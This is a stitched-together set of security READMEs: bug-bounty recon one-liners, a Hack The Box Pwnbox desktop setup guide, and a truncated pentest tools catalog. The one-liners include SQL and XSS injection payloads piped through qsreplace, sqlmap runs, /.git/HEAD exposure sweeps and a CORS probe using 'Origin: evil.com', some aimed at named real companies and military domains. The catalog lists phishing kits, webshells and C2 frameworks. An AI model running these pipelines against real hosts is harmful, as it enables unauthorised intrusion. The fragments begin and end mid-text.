5 -t 100 -d 5 --blacklist jpg,jpeg,gif,css,tif,tiff,png,ttf,woff,woff2,ico,pdf,svg,txt | grep -Eo '(http|https)://[^/"]+' | anew ``` ### PSQL - search subdomain using cert.sh - [Explaining command](https://bit.ly/32rMA6e) Make use of pgsql cli of crt.sh, replace all comma to new lines and grep just twitch text domains with anew to confirm unique outputs ```bash psql -A -F , -f querycrt -h http://crt.sh -p 5432 -U guest certwatch 2>/dev/null | tr ', ' '\n' | grep twitch | anew ``` ### Search subdomains using github and httpx - [Github-search](https://github.com/gwen001/github-search) Using python3 to search subdomains, httpx filter hosts by up status-code response (200) ```python ./github-subdomains.py -t APYKEYGITHUB -d domaintosearch | httpx --title ``` ### Search SQLINJECTION using qsreplace search syntax error - [Explained command](https://bit.ly/3hxFWS2) ```bash grep "=" .txt| qsreplace "' OR '1" | httpx -silent -store-response-dir output -threads 100 | grep -q -rn "syntax\|mysql" output 2>/dev/null && \printf "TARGET \033[0;32mCould Be Exploitable\e[m\n" || printf "TARGET \033[0;31mNot Vulnerable\e[m\n" ``` ### Search subdomains using jldc - [Explained command](https://bit.ly/2YBlEjm) ```bash curl -s "https://jldc.me/anubis/subdomains/att.com" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | anew ``` ### Search subdomains in assetfinder using hakrawler spider to search links in content responses - [Explained command](https://bit.ly/3hxRvZw) ```bash assetfinder -subs-only tesla.com -silent | httpx -timeout 3 -threads 300 --follow-redirects -silent | xargs -I% -P10 sh -c 'hakrawler -plain -linkfinder -depth 5 -url %' | grep "tesla" ``` ### Search subdomains in cert.sh - [Explained command](https://bit.ly/2QrvMXl) ```bash curl -s "https://crt.sh/?q=%25.att.com&output=json" | jq -r '.[].name_value' | sed 's/\*\.//g' | httpx -title -silent | anew ``` ### Search subdomains in cert.sh assetfinder to search in link /.git/HEAD - [Explained command](https://bit.ly/3lhFcTH) ```bash curl -s "https://crt.sh/?q=%25.tesla.com&output=json" | jq -r '.[].name_value' | assetfinder -subs-only | sed 's#$#/.git/HEAD#g' | httpx -silent -content-length -status-code 301,302 -timeout 3 -retries 0 -ports 80,8080,443 -threads 500 -title | anew ``` ```bash curl -s "https://crt.sh/?q=%25.enjoei.com.br&output=json" | jq -r '.[].name_value' | assetfinder -subs-only | httpx -silent -path /.git/HEAD -content-length -status-code 301,302 -timeout 3 -retries 0 -ports 80,8080,443 -threads 500 -title | anew ``` ### Collect js files from hosts up by gospider - [Explained command](https://bit.ly/3aWIwyI) ```bash xargs -P 500 -a pay -I@ sh -c 'nc -w1 -z -v @ 443 2>/dev/null && echo @' | xargs -I@ -P10 sh -c 'gospider -a -s "https://@" -d 2 | grep -Eo "(http|https)://[^/\"].*\.js+" | sed "s#\] \- #\n#g" | anew' ``` ### Subdomain search Bufferover resolving domain to httpx - [Explained command](https://bit.ly/3lno9j0) ```bash curl -s https://dns.bufferover.run/dns?q=.sony.com |jq -r .FDNS_A[] | sed -s 's/,/\n/g' | httpx -silent | anew ``` ### Using gargs to gospider search with parallel proccess - [Gargs](https://github.com/brentp/gargs) - [Explained command](https://bit.ly/2EHj1FD) ```bash httpx -ports 80,443,8009,8080,8081,8090,8180,8443 -l domain -timeout 5 -threads 200 --follow-redirects -silent | gargs -p 3 'gospider -m 5 --blacklist pdf -t 2 -c 300 -d 5 -a -s {}' | anew stepOne ``` ### Injection xss using qsreplace to urls filter to gospider - [Explained command](https://bit.ly/3joryw9) ```bash gospider -S domain.txt -t 3 -c 100 | tr " " "\n" | grep -v ".js" | grep "https://" | grep "=" | qsreplace '%22><svg%20onload=confirm(1);>' ``` ### Extract URL's to apk - [Explained command](https://bit.ly/2QzXwJr) ```bash apktool d app.apk -o uberApk;grep -Phro "(https?://)[\w\.-/]+[\"'\`]" uberApk/ | sed 's#"##g' | anew | grep -v "w3\|android\|github\|schemas.android\|google\|goo.gl" ``` ### Chaos to Gospider - [Explained command](https://bit.ly/3gFJbpB) ```bash chaos -d att.com -o att -silent | httpx -silent | xargs -P100 -I@ gospider -c 30 -t 15 -d 4 -a -H "x-forwarded-for: 127.0.0.1" -H "User-Agent: Mozilla/5.0 (Linux; U; Android 2.2) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1" -s @ ``` ### Checking invalid certificate - [Real script](https://bit.ly/2DhAwMo) - [Script King](https://bit.ly/34Z0kIH) ```bash xargs -a domain -P1000 -I@ sh -c 'bash cert.sh @ 2> /dev/null' | grep "EXPIRED" | awk '/domain/{print $5}' | httpx ``` ### Using shodan & Nuclei - [Explained command](https://bit.ly/3jslKle) Shodan is a search engine that lets the user find specific types of computers connected to the internet, AWK Cuts the text and prints the third column. httpx is a fast and multi-purpose HTTP using -silent. Nuclei is a fast tool for configurable targeted scanning based on templates offering massive extensibility and ease of use, You need to download the nuclei templates. ```bash shodan domain DOMAIN TO BOUNTY | awk '{print $3}' | httpx -silent | nuclei -t /nuclei-templates/ ``` ### Open Redirect test using gf. - [Explained command](https://bit.ly/3hL263x) echo is a command that outputs the strings it is being passed as arguments. What to Waybackurls? Accept line-delimited domains on stdin, fetch known URLs from the Wayback Machine for .domain.com and output them on stdout. Httpx? is a fast and multi-purpose HTTP. GF? A wrapper around grep to avoid typing common patterns and anew Append lines from stdin to a file, but only if they don't already appear in the file. Outputs new lines to stdout too, removes duplicates. ```bash echo "domain" | waybackurls | httpx -silent -timeout 2 -threads 100 | gf redirect | anew ``` ### Using shodan to jaeles "How did I find a critical today? well as i said it was very simple, using shodan and jaeles". - [Explained command](https://bit.ly/2QQfY0l) ```bash shodan domain domain| awk '{print $3}'| httpx -silent | anew | xargs -I@ jaeles scan -c 100 -s /jaeles-signatures/ -u @ ``` ### Using Chaos to jaeles "How did I find a critical today?. - [Explained command](https://bit.ly/2YXiK8N) To chaos this project to projectdiscovery, Recon subdomains, using httpx, if we see the output from chaos domain.com we need it to be treated as http or https, so we use httpx to get the results. We use anew, a tool that removes duplicates from @TomNomNom, to get the output treated for import into jaeles, where he will scan using his templates. ```bash chaos -d domain | httpx -silent | anew | xargs -I@ jaeles scan -c 100 -s /jaeles-signatures/ -u @ ``` ### Using shodan to jaeles - [Explained command](https://bit.ly/2Dkmycu) ```bash domain="domaintotest";shodan domain $domain | awk -v domain="$domain" '{print $1"."domain}'| httpx -threads 300 | anew shodanHostsUp | xargs -I@ -P3 sh -c 'jaeles -c 300 scan -s jaeles-signatures/ -u @'| anew JaelesShodanHosts ``` ### Search to files using assetfinder and ffuf - [Explained command](https://bit.ly/2Go3Ba4) ```bash assetfinder att.com | sed 's#*.# #g' | httpx -silent -threads 10 | xargs -I@ sh -c 'ffuf -w path.txt -u @/FUZZ -mc 200 -H "Content-Type: application/json" -t 150 -H "X-Forwarded-For:127.0.0.1"' ``` ### HTTPX using new mode location and injection XSS using qsreplace. - [Explained command](https://bit.ly/2Go3Ba4) ```bash httpx -l master.txt -silent -no-color -threads 300 -location 301,302 | awk '{print $2}' | grep -Eo '(http|https)://[^/"].*' | tr -d '[]' | anew | xargs -I@ sh -c 'gospider -d 0 -s @' | tr ' ' '\n' | grep -Eo '(http|https)://[^/"].*' | grep "=" | qsreplace "<svg onload=alert(1)>" "' ``` ### Grap internal juicy paths and do requests to them. - [Explained command](https://bit.ly/357b1IY) ```bash export domain="https://target";gospider -s $domain -d 3 -c 300 | awk '/linkfinder/{print $NF}' | grep -v "http" | grep -v "http" | unfurl paths | anew | xargs -I@ -P50 sh -c 'echo $domain@ | httpx -silent -content-length' ``` ### Download to list bounty targets We inject using the sed .git/HEAD command at the end of each url. - [Explained command](https://bit.ly/2R2gNn5) ```bash wget https://raw.githubusercontent.com/arkadiyt/bounty-targets-data/master/data/domains.txt -nv | cat domains.txt | sed 's#$#/.git/HEAD#g' | httpx -silent -content-length -status-code 301,302 -timeout 3 -retries 0 -ports 80,8080,443 -threads 500 -title | anew ``` ### Using to findomain to SQLINJECTION. - [Explained command](https://bit.ly/2ZeAhcF) ```bash findomain -t testphp.vulnweb.com -q | httpx -silent | anew | waybackurls | gf sqli >> sqli ; sqlmap -m sqli --batch --random-agent --level 1 ``` ### Jaeles scan to bugbounty targets. - [Explained command](https://bit.ly/3jXbTnU) ```bash wget https://raw.githubusercontent.com/arkadiyt/bounty-targets-data/master/data/domains.txt -nv ; cat domains.txt | anew | httpx -silent -threads 500 | xargs -I@ jaeles scan -s /jaeles-signatures/ -u @ ``` ### JLDC domain search subdomain, using rush and jaeles. - [Explained command](https://bit.ly/3hfNV5k) ```bash curl -s "https://jldc.me/anubis/subdomains/sony.com" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | httpx -silent -threads 300 | anew | rush -j 10 'jaeles scan -s /jaeles-signatures/ -u {}' ``` ### Chaos to search subdomains check cloudflareip scan port. - [Explained command](https://bit.ly/3hfNV5k) ```bash chaos -silent -d paypal.com | filter-resolved | cf-check | anew | naabu -rate 60000 -silent -verify | httpx -title -silent ``` ### Search JS to domains file. - [Explained command](https://bit.ly/2Zs13yj) ```bash cat FILE TO TARGET | httpx -silent | subjs | anew ``` ### Search JS using assetfinder, rush and hakrawler. - [Explained command](https://bit.ly/3ioYuV0) ```bash assetfinder -subs-only paypal.com -silent | httpx -timeout 3 -threads 300 --follow-redirects -silent | rush 'hakrawler -plain -linkfinder -depth 5 -url {}' | grep "paypal" ``` ### Search to CORS using assetfinder and rush - [Explained command](https://bit.ly/33qT71x) ```bash assetfinder fitbit.com | httpx -threads 300 -follow-redirects -silent | rush -j200 'curl -m5 -s -I -H "Origin:evil.com" {} | [[ $(grep -c "evil.com") -gt 0 ]] && printf "\n\033[0;32m[VUL TO CORS] - {}\e[m"' 2>/dev/null" ``` ### Search to js using hakrawler and rush & unew - [Explained command](https://bit.ly/2Rqn9gn) ```bash tac hostsGospider | rush -j 100 'hakrawler -js -plain -usewayback -depth 6 -scope subs -url {} | unew hakrawlerHttpx' ``` ### XARGS to dirsearch brute force. - [Explained command](https://bit.ly/32MZfCa) ```bash cat hosts | xargs -I@ sh -c 'python3 dirsearch.py -r -b -w path -u @ -i 200, 403, 401, 302 -e php,html,json,aspx,sql,asp,js' ``` ### Assetfinder to run massdns. - [Explained command](https://bit.ly/32T5W5O) ```bash assetfinder DOMAIN --subs-only | anew | massdns -r lists/resolvers.txt -t A -o S -w result.txt ; cat result.txt | sed 's/A.*//; s/CN.*// ; s/\..$//' | httpx -silent ``` ### Extract path to js - [Explained command](https://bit.ly/3icrr5R) ```bash cat file.js | grep -aoP "(?<=(\"|\'|\`))\/[a-zA-Z0-9_?&=\/\-\#\.]*(?=(\"|\'|\`))" | sort -u ``` ### Find subdomains and Secrets with jsubfinder - [Explained command](https://bit.ly/3dvP6xq) ```bash cat subdomsains.txt | httpx --silent | jsubfinder -s ``` ### Search domains to Range-IPS. - [Explained command](https://bit.ly/3fa0eAO) ```bash cat dod1 | awk '{print $1}' | xargs -I@ sh -c 'prips @ | hakrevdns -r 1.1.1.1' | awk '{print $2}' | sed -r 's/.$//g' | httpx -silent -timeout 25 | anew ``` ### Search new's domains using dnsgen. - [Explained command](https://bit.ly/3kNTHNm) ```bash xargs -a army1 -I@ sh -c 'echo @' | dnsgen - | httpx -silent -threads 10000 | anew newdomain ``` ### List ips, domain extract, using amass + wordlist - [Explained command](https://bit.ly/2JpRsmS) ```bash amass enum -src -ip -active -brute -d navy.mil -o domain ; cat domain | cut -d']' -f 2 | awk '{print $1}' | sort -u > hosts-amass.txt ; cat domain | cut -d']' -f2 | awk '{print $2}' | tr ',' '\n' | sort -u > ips-amass.txt ; curl -s "https://crt.sh/?q=%.navy.mil&output=json" | jq '.[].name_value' | sed 's/\"//g' | sed 's/\*\.//g' | sort -u > hosts-crtsh.txt ; sed 's/$/.navy.mil/' dns-Jhaddix.txt_cleaned > hosts-wordlist.txt ; cat hosts-amass.txt hosts-crtsh.txt hosts-wordlist.txt | sort -u > hosts-all.txt ``` ### Search domains using amass and search vul to nuclei. - [Explained command](https://bit.ly/3gsbzNt) ```bash amass enum -passive -norecursive -d disa.mil -o domain ; httpx -l domain -silent -threads 10 | nuclei -t PATH -o result -timeout 30 ``` ### Verify to cert using openssl. - [Explained command](https://bit.ly/37avq0C) ```bash sed -ne 's/^\( *\)Subject:/\1/p;/X509v3 Subject Alternative Name/{ N;s/^.*\n//;:a;s/^\( *\)\(.*\), /\1\2\n\1/;ta;p;q; }' < <( openssl x509 -noout -text -in <( openssl s_client -ign_eof 2>/dev/null <<<$'HEAD / HTTP/1.0\r\n\r' \ -connect hackerone.com:443 ) ) ``` ### Search domains using openssl to cert. - [Explained command](https://bit.ly/3m9AsOY) ```bash xargs -a recursivedomain -P50 -I@ sh -c 'openssl s_client -connect @:443 2>&1 '| sed -E -e 's/[[:blank:]]+/\n/g' | httpx -silent -threads 1000 | anew ``` ### Search to Hackers. - [Censys](https://censys.io) - [Spyce](https://spyce.com) - [Shodan](https://shodan.io) - [Viz Grey](https://viz.greynoise.io) - [Zoomeye](https://zoomeye.org) - [Onyphe](https://onyphe.io) - [Wigle](https://wigle.net) - [Intelx](https://intelx.io) - [Fofa](https://fofa.so) - [Hunter](https://hunter.io) - [Zorexeye](https://zorexeye.com) - [Pulsedive](https://pulsedive.com) - [Netograph](https://netograph.io) - [Vigilante](https://vigilante.pw) - [Pipl](https://pipl.com) - [Abuse](https://abuse.ch) - [Cert-sh](https://cert.sh) - [Maltiverse](https://maltiverse.com/search) - [Insecam](https://insecam.org) - [Anubis](https://https://jldc.me/anubis/subdomains/att.com) - [Dns Dumpster](https://dnsdumpster.com) - [PhoneBook](https://phonebook.cz) - [Inquest](https://labs.inquest.net) - [Scylla](https://scylla.sh) # Project [![made-with-Go](https://img.shields.io/badge/Made%20with-Go-1f425f.svg)](http://golang.org) [![made-with-bash](https://img.shields.io/badge/Made%20with-Bash-1f425f.svg)](https://www.gnu.org/software/bash/) [![Open Source? Yes!](https://badgen.net/badge/Open%20Source%20%3F/Yes%21/blue?icon=github)](https://github.com/Naereen/badges/) [![Telegram](https://patrolavia.github.io/telegram-badge/chat.png)](https://t.me/KingOfTipsBugBounty) <a href="https://www.buymeacoffee.com/OFJAAAH" target="_blank"><img src="https://www.buymeacoffee.com/assets/img/custom_images/orange_img.png" alt="Buy Me A Coffee" style="height: 20px !important;width: 50px !important;box-shadow: 0px 3px 2px 0px rgba(190, 190, 190, 0.5) !important;-webkit-box-shadow: 0px 3px 2px 0px rgba(190, 190, 190, 0.5) !important;" ></a>
# Pwnbox ![htb screenshot](images/htb_screenshot.png?raw=true "Pwnbox") Want to replicate Hack the Box very own Pwnbox? Follow the guide below! This should give you the "look and feel" of pwnbox used by Hack The Box. Everything shown here can be done in your own Parrot OS, whether it is VM or main OS. However, I suggest you look into what each command does, where it goes, and how you can go about customizing it to your own taste. For me, whenever I ssh into my Parrot machine, it gives me fun hackthebox logo. Go on, make it your own! ```bash █ █ ▐▌ ▄█▄ █ ▄▄▄▄ █▄▄█ ▀▀█ █▀▀ ▐▌▄▀ █ █▀█ █▀█ █▌▄█ ▄▀▀▄ ▀▄▀ █ █ █▄█ █▄▄ ▐█▀▄ █ █ █ █▄▄ █▌▄█ ▀▄▄▀ █▀█ P E N - T E S T I N G L A B S what the box? ``` ## Setup Clone this repo, then run `setup.sh` file to install pwnbox ## Setup OpenVPN We also need to add your vpn file to your /etc/openvpn location: `sudo cp [your VPN FILE].ovpn /etc/openvpn/` `sudo mv /etc/openvpn/[your VPN file].ovpn /etc/openvpn/[your VPN file].conf` Make sure you rename your file to `.conf`. Then you can start your VPN like you would normally do. ## Update theme Go to the top menu bar and choose: System -> Preferences -> Look and Feel -> Appearance You should now see a theme called "HackTheBox". Select it and select "Apply Background". > At this point, you should have most of the Pwnbox 'look and feel'. However, if you want to further customize it, keep following allong. ## Customizing panels On the top panel, right click one of the three system monitors graphs (the ones showing your 'process', 'memory', and 'network'). Select "Remove from Panel". Next, on the top panel, right click the "shell" icon (the one that looks like a bash prompt). Select "Properties". > NOTE : You will see the "Launcher Properties" pop up. This is where you can really customize your ParrotOS. You don't need to follow what Hack the Box did. You can add ANY script you want, any command, icon, etc, to your OS! This is how you can truly personalize it. Click on the bash icon to the left, and a window should pop up asking you to select an icon. Navigate to /usr/share/icons/htb/ and choose `bash.svg`. - ## To get the 'ping panel' Right click on a blank space on the top panel and choose "Add to Panel". In the search bar, type "command", select "command" then click "add". The current time should populate on the top panel. Right click on it, and in the command section, paste in `/opt/vpnpanel.sh`, with an interval of "5" seconds. It should show "HTB VPN: Disconnected" unless you are on the vpn. - ## To get the "processor" menu Right click on a blank space on the top panel and search for "System monitor". Select it and add it. Right click on the little black box that appeared, select "preferences" and under "System monitor width", update it to "135" pixels, and updated the field below it to "100" milliseconds. - ## 'Plank', the MacOS bar on the bottom Start by deleting the bottom panel by `right clicking` and selecting `delete this panel`. `sudo apt install plank -y` Once Plank is installed, on the top bar, go to "System -> Preferences -> Personal -> Startup Application". Right hand side, select "Add" and fill in the values: - Name: Plank - Command: plank - Delay: 0 Plank will now startup whenever you reboot your machine. # Conclusion > This should be it for the setup! The actual pwnbox has some extra icons on the desktop such as a shortcut to "bloodhound", "burpsuite", and others. There's even a MacOS launcher bar on the bottom. I'm going to leave that up to you to add. > I highly suggest adding VNC support if needed. I am currently running tigerVNC on my Parrot machine and it works great! > Otherwise, that finishes that for this tutorial.
# Pentest Tools ![](logo.png) The tools listed below are commonly used in penetration testing, and the tool catalog is referenced from Kali Tools, most of which are open source software. The project long-term supplementary update QAQ ## TODO * [x] Directory * [ ] Browser bookmarks * [ ] Install Scripts * [ ] Documentation ## List * [Information Gathering](#information-gathering) * [Google Hack](#Google-Hacking) * [Github](#Github) * [SVN](#SVN) * [Port-Scan](#port-scan) * [OSINT](#OSINT) * [Phishing](#Phishing) * [Vulnerability Analysis](#vulnerability-analysis) * [Fuzzing](#Fuzzing) * [Vulnerability Scan](#vulnerability-scan) * [Web Applications](#web-applications) * [CMS & Framwork Identification](#cms--framwork-identification) * [Web Applications Proxies](#web-applications-proxies) * [Web Crawlers & Directory Brute Force](#web-crawlers--directory-brute-force) * [Docker Scanners](#Docker-Scanners) * [Database Assessment](#database-assessment) * [Password Attacks](#password-attacks) * [Wireless Attacks](#Wireless-Attacks) * [Wireless Tools](#Wireless-Tools) * [Reverse Engineering](#Reverse-Engineering) * [Exploitation Tools](#exploitation-tools) * [Vulnerability Search](#vulnerability-search) * [Cross-site Scripting](#cross-site-scriptingxss) * [Sql Injection](d#sql-injection) * [Command Injection](#command-injection) * [File Include](#file-include) * [File Upload vulnerability](#file-upload-vulnerability) * [XML External Entity Attack(XXE)](#xml-external-entity-attackxxe) * [Cross-site request forgery (CSRF)](#Cross-site-request-forgery-(CSRF)) * [Exploit Framework](#exploit-framework) * [Machine Learning](#Machine-Learning) * [Automate](#Automate) * [Sniffing & Spoofng](#Sniffing-&-Spoofng) * [Maintaining Access](#maintaining-access) * [Shell](#Shell) * [Web Shell](#web-shell) * [Privilege Escalation Auxiliary](#privilege-escalation-auxiliary) * [C2](#C2) * [Golang Sec Tools](#Golang-Sec-Tools) * [Reporting Tools](#reporting-tools) * [Social Engineering](#Social-Engineering) * [System Services](#System-Services) * [Code Audit](#code-audit) * [Port Forwarding & Proxies](#port-forwarding--proxies) * [DevSecOps](#DevSecOps) * [RootKit](#RootKit) * [Cyber Range](#Cyber-Range) * [Vulnerability application](#vulnerability-application) * [Simulation range](#Simulation-range) * [CTF challenges](#CTF-challenges) ### Information Gathering #### Domain Name #### Subdomain #### Google Hacking * [GHDB](https://www.exploit-db.com/google-hacking-database/) - Google Hack Database * [SearchDiggity](http://www.bishopfox.com/resources/tools/google-hacking-diggity/attack-tools/) - SearchDiggity 3.1 is the primary attack tool of the Google Hacking Diggity Project * [Katana](https://github.com/adnane-X-tebbaa/Katana) - A Python Tool For google Hacking * [uDork](https://github.com/m3n0sd0n4ld/uDork) - uDork is a script written in Bash Scripting that uses advanced Google search techniques to obtain sensitive information in files or directories, find IoT devices, detect versions of web applications, and so on. * [Pagodo](https://github.com/opsdisk/pagodo) - pagodo (Passive Google Dork) - Automate Google Hacking Database scraping and searching . #### Github * [GitHacker](https://github.com/WangYihang/GitHacker) - 🕷️ A Git source leak exploit tool that restores the entire Git repository, including data from stash, for white-box auditing and analysis of developers' mind. * [GitGraber](https://github.com/hisxo/gitGraber) - gitGraber is a tool developed in Python3 to monitor GitHub to search and find sensitive data in real time for different online services. * [GitMiner](https://github.com/UnkL4b/GitMiner) - Tool for advanced mining for content on Github. * [Gitrob](https://github.com/michenriksen/gitrob) - Reconnaissance tool for GitHub organizations. #### SVN * [svnExploit](https://github.com/admintony/svnExploit) - Support for SVN source code disclosure of full version and Dump it. * [SvnHack](https://github.com/callmefeifei/SvnHack) - SvnHack is a SVN folder disclosure exploit. #### Port Scan * [Nmap | Zenmap](https://nmap.org/) - Free and open source utility for network discovery and security auditing * [Masscan](https://github.com/robertdavidgraham/masscan) - TCP port scanner, spews SYN packets asynchronously * [Ports](https://github.com/nixawk/pentest-wiki/blob/master/3.Exploitation-Tools/Network-Exploitation/ports_number.md) - Common service ports and exploitations * [Goby](https://gobies.org/) - Attack surface mapping * [Goscan](https://github.com/marco-lancini/goscan) - Interactive Network Scanner * [NimScan](https://github.com/elddy/NimScan) - 🚀 Fast Port Scanner 🚀 * [RustScan](https://github.com/RustScan/RustScan) - 🤖 The Modern Port Scanner 🤖 #### OSINT * [theHarvester](https://github.com/laramies/theHarvester)- E-mails, subdomains and names Harvester - OSINT * [SpiderFoot](https://github.com/smicallef/spiderfoot) - SpiderFoot automates OSINT for threat intelligence and mapping your attack surface. * [FOCA](https://github.com/ElevenPaths/FOCA) - Tool to find metadata and hidden information in the documents. * [Amass](https://github.com/OWASP/Amass) - In-depth Attack Surface Mapping and Asset Discovery * [Censys-subdomain-finder](https://github.com/christophetd/censys-subdomain-finder) - Perform subdomain enumeration using the certificate transparency logs from Censys. * [EmailHarvester](https://github.com/maldevel/EmailHarvester) - Email addresses harvester * [Finalrecon](https://github.com/thewhiteh4t/FinalRecon) - The Last Web Recon Tool You'll Need. * [LittleBrother](https://github.com/lulz3xploit/LittleBrother) - Information gathering (OSINT) on a person (EU) ### Phishing * [gophish](https://github.com/gophish/gophish) - Open-Source Phishing Toolkit * [AdvPhishing](https://github.com/Ignitetch/AdvPhishing) - This is Advance Phishing Tool ! OTP PHISHING * [SocialFish](https://github.com/UndeadSec/SocialFish) - Educational Phishing Tool & Information Collector * [Zphisher](https://github.com/htr-tech/zphisher) - An automated phishing tool with 30+ templates. This Tool is made for educational purpose only ! Author will not be responsible for any misuse of this toolkit ! * [Nexphisher](https://github.com/htr-tech/nexphisher) - Advanced Phishing tool for Linux & Termux ### Vulnerability Analysis #### Fuzzing #### Vulnerability Scanner * [Struts-Scan](https://github.com/Lucifer1993/struts-scan) - Struts2 vulnerability detection and utilization tools * [Nikto](https://github.com/sullo/nikto) - Nikto is an Open Source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items * [W3af](https://github.com/andresriancho/w3af/) - Web application attack and audit framework, the open source web vulnerability scanner * [Openvas](http://www.openvas.org/) - The world's most advanced Open Source vulnerability scanner and manager * [Openvas Docker](https://github.com/mikesplain/openvas-docker) * [Archery](https://github.com/archerysec/archerysec) - Open Source Vulnerability Assessment and Management helps developers and pentesters to perform scans and manage vulnerabilities * [Taipan](https://github.com/enkomio/Taipan) - Web application vulnerability scanner * [Arachni](https://github.com/Arachni/arachni) - Web Application Security Scanner Framework ### Web Applications #### CMS & Framwork Identification * [AngelSword](https://github.com/Lucifer1993/AngelSword) - CMS vulnerability detection framework * [WhatWeb](https://github.com/urbanadventurer/WhatWeb) - Next generation web scanner * [Wappalyzer](https://github.com/AliasIO/Wappalyzer) - Cross-platform utility that uncovers the technologies used on websites * [Whatruns](https://www.whatruns.com/) - A free browser extension that helps you identify technologies used on any website at the click of a button (Just for chrome) * [WhatCMS](https://github.com/HA71/WhatCMS) - CMS Detection and Exploit Kit based on Whatcms.org API * [CMSeeK](https://github.com/Tuhinshubhra/CMSeeK) - CMS Detection and Exploitation suite - Scan WordPress, Joomla, Drupal and over 180 other CMSs > Online Tools * [Yunsee](http://www.yunsee.cn/finger.html) - Online website for to find the CMS footprint * [Bugscaner](http://whatweb.bugscaner.com/look/) - A simple online fingerprint identification system that supports hundreds of cms source code recognition * [WhatCMS online](https://whatcms.org/) - CMS Detection and Exploit Kit website Whatcms.org * [Tscan](https://scan.top15.cn/web/) - A online tool to get the informathion of website * [TideFinger](http://finger.tidesec.com/) - Fingerprinter Tool from TideSec Team #### Web Applications Proxies * [Burpsuite](https://portswigger.net/) - Burpsuite is a graphical tool for testing Web application security * [ZAP](https://github.com/zaproxy/zaproxy) One of the world’s most popular free security tools * [Mitmproxy](https://github.com/mitmproxy/mitmproxy) - An interactive TLS-capable intercepting HTTP proxy for penetration testers and software developers. * [Broxy](https://github.com/rhaidiz/broxy) - An HTTP/HTTPS intercept proxy written in Go. #### Web Crawlers & Directory Brute Force * [Dirbrute](https://github.com/Xyntax/DirBrute) - Multi-thread WEB directory blasting tool (with dics inside) * [Dirbuster](https://sourceforge.net/projects/dirbuster/) - DirBuster is a multi threaded java application designed to brute force directories and files names on web/application servers #### Docker Scanners * [Fuxi-Scanner](https://github.com/jeffzh3ng/Fuxi-Scanner) - open source network security vulnerability scanner, it comes with multiple functions. * [Xunfeng](https://github.com/ysrc/xunfeng) - The patrol is a rapid emergency response and cruise scanning system for enterprise intranets * [WebMap](https://github.com/KHPROG55/WebMap) - Nmap Web Dashboard and Reporting ### Database Assessment ### Password Attacks * [Hydra](https://github.com/vanhauser-thc/thc-hydra) - Hydra is a parallelized login cracker which supports numerous protocols to attack * [Medusa](http://foofus.net/goons/jmk/medusa/medusa.html) - Medusa is intended to be a speedy, massively parallel, modular, login brute-forcer * [Sparta](http://sparta.secforce.com/): [Document](./密码攻击/Sparta(斯巴达)/Readme.md) - Network Infrastructure Penetration Testing Tool * [Hashcat](https://github.com/hashcat/hashcat) - World's fastest and most advanced password recovery utility * [Patator](https://github.com/lanjelot/patator) - Patator is a multi-purpose brute-forcer, with a modular design and a flexible usage. * [HackBrowserDat](https://github.com/moonD4rk/HackBrowserData) - Decrypt passwords/cookies/history/bookmarks from the browser ### Wireless Attacks #### Wireless Tools * [Fern Wifi cracker](https://github.com/savio-code/fern-wifi-cracker) - Fern-Wifi-Cracker is designed to be used in testing and discovering flaws in ones own network with the aim of fixing the flaws detected ### Reverse Engineering * [Ollydbg](http://www.ollydbg.de/) - OllyDbg is a 32-bit assembler level analysing debugger for Microsoft Windows ### Exploitation Tools #### Vulnerability Search * [SPLOITUS](https://sploitus.com) - Sploitus is а convenient central place for identifying the newest exploits and finding attacks that exploit known vulnerabilities * [SearchSploit](https://github.com/offensive-security/exploitdb) - The official Exploit Database repository * [Getsploit](https://github.com/vulnersCom/getsploit) - Command line utility for searching and downloading exploits #### Cross-site Scripting(XSS) * [BeeF](https://github.com/beefproject/beef) - The Browser Exploitation Framework Project * [BlueLotus_XSSReceiver](https://github.com/firesunCN/BlueLotus_XSSReceiver) - XSS Receiver platform without SQL * [xssor2](https://github.com/evilcos/xssor2) - XSS'OR - Hack with JavaScript. * [Xsser-Varbaek](https://github.com/Varbaek/xsser) - From XSS to RCE 2.75 - Black Hat Europe Arsenal 2017 + Extras * [Xsser-Epsylon](https://github.com/epsylon/xsser) - Cross Site "Scripter" (aka XSSer) is an automatic framework to detect, exploit and report XSS vulnerabilities in web-based applications. * [Xenotix](https://github.com/ajinabraham/OWASP-Xenotix-XSS-Exploit-Framework) - An advanced Cross Site Scripting (XSS) vulnerability detection and exploitation framework #### Sql Injection * [Sqlmap](https://github.com/sqlmapproject/sqlmap) - Automatic SQL injection and database takeover tool * [Sqlmate](https://github.com/s0md3v/sqlmate) - A friend of SQLmap which will do what you always expected from SQLmap * [SQLiScanner](https://github.com/0xbug/SQLiScanner) - Automatic SQL injection with Charles and sqlmap api #### Command Injection * [Commix](https://github.com/commixproject/commix) - Automated All-in-One OS command injection and exploitation tool #### File Include * [LFIsuite](https://github.com/D35m0nd142/LFISuite) - Totally Automatic LFI Exploiter (+ Reverse Shell) and Scanner * [Kadimus](https://github.com/P0cL4bs/Kadimus) - Kadimus is a tool to check sites to lfi vulnerability , and also exploit it * [Shellfire](https://github.com/unix-ninja/shellfire) - Exploitation shell for exploiting LFI, RFI, and command injection vulnerabilities * [LFIter2](https://github.com/3mrgnc3/LFIter2) - LFIter2 Local File Include (LFI) Tool - Auto File Extractor & Username Bruteforcer * [FDsploit](https://github.com/chrispetrou/FDsploit) - File Inclusion & Directory Traversal fuzzing, enumeration & exploitation tool. #### File Upload vulnerability * [Fuxploider](https://github.com/almandin/fuxploider) - File upload vulnerability scanner and exploitation tool #### XML External Entity Attack(XXE) * [XXEinjector](https://github.com/enjoiz/XXEinjector) - Tool for automatic exploitation of XXE vulnerability using direct and different out of band methods * [Oxml_xxe](https://github.com/BuffaloWill/oxml_xxe) - A tool for embedding XXE/XML exploits into different filetypes #### Cross-site request forgery (CSRF) * [Deemon](https://github.com/tgianko/deemon/) - Deemon is a tool to detect CSRF in web application #### Exploit Framework * [POC-T](https://github.com/Xyntax/POC-T) - Pentest Over Concurrent Toolkit * [Pocsuite](https://github.com/knownsec/Pocsuite) - Pocsuite is an open-sourced remote vulnerability testing framework developed by the Knownsec Security Team * [Metasploit](https://github.com/rapid7/metasploit-framework) - The world’s most used penetration testing framework * [Venom](https://github.com/r00t-3xp10it/venom) - Shellcode generator/compiler/handler (metasploit) * [Empire](https://github.com/EmpireProject/Empire) - Empire is a PowerShell and Python post-exploitation agent * 